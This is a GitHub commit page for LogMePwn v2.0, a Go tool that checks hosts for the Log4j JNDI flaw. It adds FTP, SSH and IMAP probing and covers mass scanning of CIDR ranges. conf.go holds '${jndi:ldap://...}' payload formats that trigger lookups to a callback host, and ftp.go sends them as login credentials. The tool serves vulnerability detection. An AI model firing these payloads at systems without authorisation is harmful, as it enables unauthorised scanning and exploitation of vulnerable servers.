Skip to content

Commit 633a035

Browse files
0xInfection0xInfection
committed
added changes for v2.0
1 parent 3c224d3 commit 633a035

File tree

13 files changed

+531
-192
lines changed

13 files changed

+531
-192
lines changed

‎README.md

Lines changed: 45 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -10,12 +10,12 @@ LogMePwn works by making use of [Canary Tokens](https://canarytokens.org), which
1010
To use the tool, you can grab a binary from the [Releases](https://github.com/0xInfection/LogMePwn/releases) section as per your distribution and use it. If you want to build the tool, you'll need Go >= 1.13. Simple clone the repo and run `go build`.
1111

1212
Here's the basic usage of the tool:
13-
```groovy
13+
```powershell
1414
$ ./lmp --help
1515
1616
+---------------------+
1717
| L o g M e P w n |
18-
+---------------------+ v1.1
18+
+---------------------+ v2.0
1919
2020
~ 0xInfection
2121
Usage:
@@ -59,7 +59,27 @@ Examples:
5959
./lmp -email [email protected] -methods GET,POST,PUT,PATCH,DELETE 1.2.3.4:8880
6060
```
6161

62-
#### Specifying targets
62+
### Specifying protocols
63+
__NEW:__ This feature was introduced in v2.0.
64+
65+
With latest version support for multiple protocols has been introduced. So far we have 4 different protocols:
66+
- HTTP
67+
- IMAP
68+
- SSH
69+
- FTP
70+
71+
If you do not specify a protocol via the `-proto` argument, the tool will run all the plugins against the default set of ports mentioned.
72+
73+
[_See how to control ports for every protocol._](#specifying-targets)
74+
75+
Example:
76+
```powershell
77+
./lmp -protocol ftp -custom-server alerts.testing.local 1.2.3.4:21
78+
./lmp -protocol ssh -custom-server alerts.testing.local 1.2.3.4:22
79+
./lmp -token xxxxxxxxxxxxxxxx 1.2.3.4 # scans for all protocols on default ports
80+
```
81+
82+
### Specifying targets
6383
The targets can be specified in two ways, via the command line interface as arguments, or via a file.
6484

6585
__NEW:__ Now you can even pass CIDR ranges to scan! This feature was introduced in v1.1.
@@ -70,12 +90,16 @@ Example:
7090
./lmp <other args here> -file internet-ranges.lst
7191
./lmp <other args here> 192.168.0.0/26 1.2.3.4/30
7292
```
73-
The hosts can may contain ports, if not, the set of ports mentioned in `-ports` will be considered for scanning. The default ports list are:
74-
- 80
75-
- 443
76-
- 8080
7793

78-
#### Specifying payloads
94+
Every protocol has a default supported list of ports associated which can be fine-tuned using the following flags:
95+
- `-http-ports` for HTTP.
96+
- `-imap-ports` for IMAP.
97+
- `-ssh-ports` for SSH.
98+
- `-ftp-ports` for FTP.
99+
100+
If the user mentions a host+port pair in form of `host:port`, the default list of ports is discarded and all checks are done for that specific port. If `-protocol` is not mentioned, all protocols' plugins will be tested against the same port.
101+
102+
### Specifying payloads
79103
_This feature was introduced in v1.1._
80104

81105
You can specify a payload directly via the `-payload` argument directly. However if you want the DNS name of the host which is being tested in the payload, you can specify a formatting directive `$DNSNAME$` which will be replaced with the target against which the payload is being tested.
@@ -97,7 +121,7 @@ You can also specify a payload containing multiple variations of the payload usi
97121

98122
> __NOTE:__ This feature doesn't work with Canary Tokens. Canarytokens doesn't support custom DNS formats.
99123
100-
#### Specifying notification channels
124+
### Specifying notification channels
101125
> __NOTE__: If you're supplying a custom payload using `-payload`, specifying a notification channel is __NOT__ necessary. The payload itself should contain your callback server.
102126
103127
The notification channels can be any of the following:
@@ -111,7 +135,7 @@ If you already have a token, you can use the `-token` argument to use the token
111135

112136
> __NOTE:__ If you supply either an email or a webhook, the tool will create a custom canary token. If you use a custom callback server, tokens do not come into play.
113137
114-
#### Sending requests
138+
### Sending requests
115139
The tool offers great flexibility when sending requests. By default the tool uses GET requests. A default set of headers are used, each of which contains a payload in its value. You can specify a custom set of headers via the `-headers` argument. You can use the `-headers-file` switch to supply a file containing a list of headers. Examples:
116140
```groovy
117141
./lmp <other args> -headers 'X-Api-Version' 1.2.3.4:8080
@@ -130,12 +154,12 @@ By default the tool sends a payload directly via the body. The tool offers custo
130154

131155
You can specify a custom user-agent header value via the `-user-agent` switch.
132156

133-
#### Concurrent scanning
157+
### Concurrent scanning
134158
The tool is optimized for scanning a wide range of targets. With sufficient amount of network bandwidth and hardware, you can scan the entire IPv4 space within a day. The default number of concurrent threads to use while scanning is set at just 10 (optimised for reliability on local hardware). The value can go upto thousands (I'll leave the benchmarking task upto you). :)
135159

136160
Use the `-threads` switch to supply the number of threads to use with the tool.
137161

138-
#### Specifying delay
162+
### Specifying delay
139163
Since a lot of HTTP requests are involved, it might be a cumbersome job for the remote host to handle the requests. The `-delay` parameter is here to help you with those cases. You can specify a delay value in seconds -- which will be used be used in between two subsequent requests to the same port on a server.
140164

141165
## Demo
@@ -155,7 +179,14 @@ Which immediately triggered a few DNS lookups visible on the token history page
155179

156180
<img src="https://user-images.githubusercontent.com/39941993/146039240-0d34e4d8-284f-4377-bde3-ea13f9f7f5eb.png" width=49% /> <img src="https://user-images.githubusercontent.com/39941993/146039600-ab2a71b1-ec92-4cef-bae4-f3f46dc2ffd6.png" width=49% />
157181

158-
### New Updates
182+
### Changelog
183+
- Updates in version v2.0:
184+
- Introducing multi-protocol support. Protocols implemented so far:
185+
- SSH
186+
- IMAP
187+
- HTTP
188+
- FTP
189+
159190
- Updates in version v1.1:
160191
- Ability to specify custom payloads via file or command line.
161192
- Ability to specify custom headers via file.
@@ -165,7 +196,7 @@ Which immediately triggered a few DNS lookups visible on the token history page
165196
Please add your comment to [this issue](https://github.com/0xInfection/LogMePwn/issues/1).
166197

167198
## License & Version
168-
The tool is licensed under the GNU GPLv3. LogMePwn is currently at v1.1.
199+
The tool is licensed under the GNU GPLv3. LogMePwn is currently at v2.0.
169200

170201
## Credits
171202
Shoutout to the team at [Thinkst Canary](https://canary.tools/) for their amazing Canary Tokens project.

‎build.sh

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
export CGO_ENABLED=0
2+
GOOS=linux GOARCH=amd64 go build -o lmp-linux64
3+
GOOS=darwin GOARCH=amd64 go build -o lmp-darwin64
4+
GOOS=windows GOARCH=amd64 go build -o lmp-windows64.exe
5+
GOOS=windows GOARCH=386 go build -o lmp-windows32.exe
6+
GOOS=freebsd GOARCH=amd64 go build -o lmp-freebsd64
7+
GOOS=openbsd GOARCH=amd64 go build -o lmp-openbsd64
8+
shasum -a 256 lmp-* > checksums.txt

‎conf.go

Lines changed: 31 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -10,16 +10,18 @@ import (
1010
)
1111

1212
var (
13-
randomScan bool
14-
useJson, useXML bool
15-
maxConcurrent, delay int
16-
hHeaders, hBody, customServer string
17-
email, webhook, dummyXML string
18-
canaryToken, urlFile string
19-
commonPorts, hMethods, userAgent string
20-
customPayload, headFile string
21-
allTargets, allPorts []string
22-
allMethods, xload []string
13+
randomScan bool
14+
useJson, useXML bool
15+
maxConcurrent, delay int
16+
hHeaders, hBody, customServer string
17+
email, webhook, dummyXML string
18+
canaryToken, urlFile, proto string
19+
commonHTTPPorts, hMethods, userAgent string
20+
commonIMAPPorts, commonSSHPorts string
21+
customPayload, headFile, commonFTPPorts string
22+
allTargets, allHTTPPorts, allSSHPorts []string
23+
allMethods, xload, allIMAPPorts []string
24+
allFTPPorts []string
2325

2426
procCount = 1
2527
canaryResp = new(CanaryResp)
@@ -38,15 +40,20 @@ var (
3840
},
3941
}
4042
defaultHTTPHeaders = []string{
41-
"A-IM", "Accept-Charset", "Accept-Datetime", "Accept-Encoding", "X-Api-Version",
42-
"Accept-Language", "Access-Control-Request-Method", "Access-Control-Request-Headers",
43-
"Authorization", "Cache-Control", "Cookie", "Expect", "Forwarded", "From", "X-IP",
44-
"HTTP2-Settings", "If-Match", "If-Modified-Since", "If-None-Match", "If-Range", "X-Request-Id",
45-
"If-Unmodified-Since", "True-Client-IP", "Origin", "Pragma", "Prefer", "Proxy-Authorization",
46-
"Range", "Referer", "Forwarded-Proto", "TE", "Trailer", "Transfer-Encoding", "User-Agent",
47-
"Upgrade", "Via", "Warning", "Upgrade-Insecure-Requests", "X-Requested-With", "DNT",
48-
"X-Forwarded-For", "X-Correlation-ID", "X-Forwarded-Host", "X-Forwarded-Proto", "Front-End-Https",
49-
"X-ATT-DeviceId", "X-Wap-Profile", "Proxy-Connection", "X-UIDH", "X-Csrf-Token", "X-Request-ID",
43+
"Accept-Charset", "Accept-Datetime", "Accept-Encoding",
44+
"Accept-Language", "Cache-Control", "Cookie", "DNT",
45+
"Forwarded", "Forwarded-For", "Forwarded-For-Ip",
46+
"Forwarded-Proto", "From", "Max-Forwards", "Origin",
47+
"Pragma", "Referer", "True-Client-IP", "Upgrade",
48+
"User-Agent", "Via", "Warning", "X-Api-Version",
49+
"X-Att-DeviceId", "X-Correlation-ID", "X-Csrf-Token",
50+
"X-Do-Not-Track", "X-Forwarded", "X-Forwarded-By", "X-XSRF-TOKEN",
51+
"X-Forwarded-For", "X-Forwarded-Host", "X-Forwarded-Port",
52+
"X-Forwarded-Proto", "X-Forwarded-Scheme", "X-Forwarded-Server",
53+
"X-Forwarded-Ssl", "X-Forward-For", "X-From", "X-Geoip-Country",
54+
"X-Http-Destinationurl", "X-Http-Host-Override", "X-Http-Method",
55+
"X-Http-Method-Override", "X-Hub-Signature", "X-If-Unmodified-Since",
56+
"X-ProxyUser-Ip", "X-Requested-With", "X-Request-ID", "X-UIDH",
5057
}
5158
lackofart = fmt.Sprintf(`
5259
+---------------------+
@@ -59,8 +66,9 @@ var (
5966

6067
type (
6168
ProcJob struct {
62-
Host string
63-
Method string
69+
Host string
70+
Method string
71+
Protocol string
6472
}
6573
CanaryResp struct {
6674
Token string `json:"Token"`
@@ -75,9 +83,9 @@ type (
7583
)
7684

7785
const (
78-
version = "v1.1"
86+
version = "v2.0"
7987
letterBytes = "abcdefghijklmnopqrstuvwxyz0123456789"
8088
maxWorkers = 100
8189
canaryTokenFormat = "${jndi:ldap://x${hostName}.L4J.%s.canarytokens.com/a}"
82-
genericPayFormat = "${jndi:ldap://$DNSNAME$--${hostname}.%s/asas}"
90+
genericPayFormat = "${jndi:ldap://$DNSNAME$--${hostname}.%s/a}"
8391
)

‎ftp.go

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
package main
2+
3+
import (
4+
"fmt"
5+
"math/rand"
6+
"strings"
7+
"sync"
8+
"time"
9+
10+
"github.com/jlaffaye/ftp"
11+
)
12+
13+
func (p *ProcJob) ProcessHostFTP(port string, wg *sync.WaitGroup) error {
14+
var host string
15+
if len(port) < 1 {
16+
host = p.Host
17+
} else {
18+
host = fmt.Sprintf("%s:%s", p.Host, port)
19+
}
20+
21+
defer wg.Done()
22+
thisTime := time.Now()
23+
fmt.Printf("\r%d/%02d/%02d %02d:%02d:%02d Total processed: %d | Current: %s | Protocol: %s",
24+
thisTime.Year(), thisTime.Month(), thisTime.Day(), thisTime.Hour(),
25+
thisTime.Minute(), thisTime.Second(), procCount, host, p.Protocol)
26+
27+
procCount++
28+
29+
var dynamicPayloads []string
30+
sanitisedDnsName := strings.ReplaceAll(host, ".", "-")
31+
sanitisedDnsName = strings.ReplaceAll(sanitisedDnsName, ":", "-")
32+
sanitisedDnsName = strings.ReplaceAll(sanitisedDnsName, "/", "-")
33+
for _, payload := range xload {
34+
dynamicPayloads = append(dynamicPayloads, strings.ReplaceAll(payload, "$DNSNAME$", sanitisedDnsName))
35+
}
36+
37+
xc := make(chan bool, 1)
38+
go func() {
39+
c, err := ftp.Dial(host, ftp.DialWithTimeout(3*time.Second))
40+
if err != nil {
41+
return
42+
}
43+
username := dynamicPayloads[rand.Intn(len(dynamicPayloads))]
44+
password := dynamicPayloads[rand.Intn(len(dynamicPayloads))]
45+
46+
err = c.Login(username, password)
47+
if err != nil {
48+
return
49+
}
50+
if err = c.Quit(); err != nil {
51+
return
52+
}
53+
xc <- true
54+
}()
55+
select {
56+
case <-xc:
57+
time.Sleep(time.Duration(delay) * time.Second)
58+
return nil
59+
case <-time.After(3 * time.Second):
60+
return fmt.Errorf("timeout during ftp dial / login")
61+
}
62+
}

‎go.mod

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,16 @@ module lmp
22

33
go 1.17
44

5+
require github.com/valyala/fasthttp v1.31.0
6+
57
require (
68
github.com/andybalholm/brotli v1.0.4 // indirect
9+
github.com/emersion/go-imap v1.2.0 // indirect
10+
github.com/emersion/go-sasl v0.0.0-20200509203442-7bfe0ed36a21 // indirect
11+
github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b // indirect
712
github.com/klauspost/compress v1.13.6 // indirect
813
github.com/valyala/bytebufferpool v1.0.0 // indirect
9-
github.com/valyala/fasthttp v1.31.0
14+
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 // indirect
15+
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 // indirect
16+
golang.org/x/text v0.3.7 // indirect
1017
)

‎go.sum

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,42 @@
11
github.com/andybalholm/brotli v1.0.2/go.mod h1:loMXtMfwqflxFJPmdbJO0a3KNoPuLBgiu3qAvBg8x/Y=
22
github.com/andybalholm/brotli v1.0.4 h1:V7DdXeJtZscaqfNuAdSRuRFzuiKlHSC/Zh3zl9qY3JY=
33
github.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig=
4+
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
5+
github.com/emersion/go-imap v1.2.0 h1:lyUQ3+EVM21/qbWE/4Ya5UG9r5+usDxlg4yfp3TgHFA=
6+
github.com/emersion/go-imap v1.2.0/go.mod h1:Qlx1FSx2FTxjnjWpIlVNEuX+ylerZQNFE5NsmKFSejY=
7+
github.com/emersion/go-message v0.15.0/go.mod h1:wQUEfE+38+7EW8p8aZ96ptg6bAb1iwdgej19uXASlE4=
8+
github.com/emersion/go-sasl v0.0.0-20200509203442-7bfe0ed36a21 h1:OJyUGMJTzHTd1XQp98QTaHernxMYzRaOasRir9hUlFQ=
9+
github.com/emersion/go-sasl v0.0.0-20200509203442-7bfe0ed36a21/go.mod h1:iL2twTeMvZnrg54ZoPDNfJaJaqy0xIQFuBdrLsmspwQ=
10+
github.com/emersion/go-textwrapper v0.0.0-20200911093747-65d896831594/go.mod h1:aqO8z8wPrjkscevZJFVE1wXJrLpC5LtJG7fqLOsPb2U=
411
github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
12+
github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b h1:Ur6QAxsHCK99Quj9PaWafoV4unb0DO/HWiKExD+TN5g=
13+
github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b/go.mod h1:2lmrmq866uF2tnje75wQHzmPXhmSWUt7Gyx2vgK1RCU=
514
github.com/klauspost/compress v1.13.4/go.mod h1:8dP1Hq4DHOhN9w426knH3Rhby4rFm6D8eO+e+Dq5Gzg=
615
github.com/klauspost/compress v1.13.6 h1:P76CopJELS0TiO2mebmnzgWaajssP/EszplttgQxcgc=
716
github.com/klauspost/compress v1.13.6/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk=
17+
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
18+
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
19+
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
820
github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=
921
github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
1022
github.com/valyala/fasthttp v1.31.0 h1:lrauRLII19afgCs2fnWRJ4M5IkV0lo2FqA61uGkNBfE=
1123
github.com/valyala/fasthttp v1.31.0/go.mod h1:2rsYD01CKFrjjsvFxx75KlEUNpWNBY9JWD3K/7o2Cus=
1224
github.com/valyala/tcplisten v1.0.0/go.mod h1:T0xQ8SeCZGxckz9qRXTfG43PvQ/mcWh7FwZEA7Ioqkc=
1325
golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8=
26+
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3 h1:0es+/5331RGQPcXlMfP+WrnIIS6dNnNRe0WB02W0F4M=
27+
golang.org/x/crypto v0.0.0-20211215153901-e495a2d5b3d3/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
1428
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
1529
golang.org/x/net v0.0.0-20210510120150-4163338589ed/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
1630
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
1731
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
1832
golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
33+
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 h1:SrN+KX8Art/Sf4HNj6Zcz06G7VEz+7w9tdXTPOZ7+l4=
34+
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
1935
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
2036
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
2137
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
38+
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
39+
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
2240
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
41+
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
42+
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

0 commit comments

Comments
 (0)